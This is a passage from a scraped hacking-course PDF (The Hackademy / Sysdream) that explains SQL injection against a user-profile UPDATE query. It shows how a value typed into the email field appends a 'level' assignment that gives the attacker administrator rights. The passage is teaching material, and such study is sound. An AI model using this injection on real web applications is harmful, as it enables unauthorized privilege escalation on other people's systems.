27.06.2013 Views

Hack Security Pro.pdf - Index of

Hack Security Pro.pdf - Index of

Hack Security Pro.pdf - Index of

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

This is what the user sees on the navigator:<br />

The SQL injection will turn to the updating request:<br />

UPDATE users<br />

SET name = '$name',<br />

given name = '$given name',<br />

email = '$email'<br />

WHERE login = 'Crashfr'<br />

We can use one <strong>of</strong> the 3 variables “$name”, “$given name”, “$email” to modify the request and carry<br />

out the elevation <strong>of</strong> our privileges. So our aim is to modify the value <strong>of</strong> the “level” field and to put it to<br />

“1”, to have Administrator status. This is what our final request looks like:<br />

UPDATE users<br />

SET name = 'Crash',<br />

given name = 'Fr',<br />

email = ' crashfr@thehackademy.net',<br />

level = '1'<br />

WHERE login = 'Crashfr'<br />

For “email”, just give as a value what is typed in red in the request above.<br />

The <strong>Hack</strong>ademy DMP -128/209- SYSDREAM

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!